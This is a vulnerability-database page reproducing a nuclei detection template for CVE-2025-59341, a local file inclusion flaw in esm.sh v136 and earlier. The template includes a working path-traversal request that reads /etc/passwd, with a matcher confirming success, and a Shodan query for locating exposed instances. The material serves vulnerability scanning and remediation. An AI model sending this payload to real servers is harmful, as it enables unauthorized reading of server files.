Lucene search
K

esm.sh <= v136 - Local File Inclusion

🗓️ 04 Jul 2026 03:00:48Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 33 Views

Esm.sh up to 136 has local file inclusion via improper URL handling allowing remote host file reads.

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-59341
17 Sep 202504:25
circl
CNNVD
esm.sh 安全漏洞
17 Sep 202500:00
cnnvd
CVE
CVE-2025-59341
17 Sep 202517:55
cve
Cvelist
CVE-2025-59341 Local File Inclusion in esm.sh
17 Sep 202517:55
cvelist
EUVD
EUVD-2025-29745
3 Oct 202520:07
euvd
Github Security Blog
esm.sh has File Inclusion issue
17 Sep 202518:39
github
NVD
CVE-2025-59341
17 Sep 202518:15
nvd
OPENSUSE Linux
govulncheck-vulndb-0.0.20250924T192141-1.1 on GA media (moderate)
26 Sep 202500:00
opensuse
OSV
CVE-2025-59341 Local File Inclusion in esm.sh
17 Sep 202517:55
osv
OSV
GHSA-49PV-GWXP-532R esm.sh has File Inclusion issue
17 Sep 202518:39
osv
Rows per page
id: CVE-2025-59341

info:
  name: esm.sh <= v136 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
   esm.sh <= 136 contains a local file inclusion caused by improper URL handling, letting attackers read arbitrary files from the host filesystem remotely, exploit requires crafted request.
  impact: |
   Attackers can read arbitrary files from the server, potentially exposing sensitive information.
  remediation: |
   Update esm.sh to a version later than 136 or the latest available version.
  reference:
    - https://github.com/esm-dev/esm.sh/security/advisories/GHSA-49pv-gwxp-532r
    - https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59341
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-59341
    cwe-id: CWE-23
    epss-score: 0.01527
    epss-percentile: 0.71627
  metadata:
    verified: true
    max-request: 2
    vendor: esm-dev
    product: esm.sh
    shodan-query: http.html:"esm.sh"
  tags: cve,cve2025,esm,lfi,traversal

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_any(body, "esm.sh", "A no-build JavaScript CDN", "import React from")
        condition: and
        internal: true

  - raw:
      - |
        GET /pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100843da6dcce32bb92862ab71b5720acc06681a7ec37cd197898302e6c2f9a93e9022062b16412ed5d6c9f7fc40ad0e5af26768a0f901c59653d7be04e279a172d79c5:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Apr 2026 03:29Current
7.3High risk
Vulners AI Score7.3
CVSS 48.7
EPSS0.01527
SSVC
33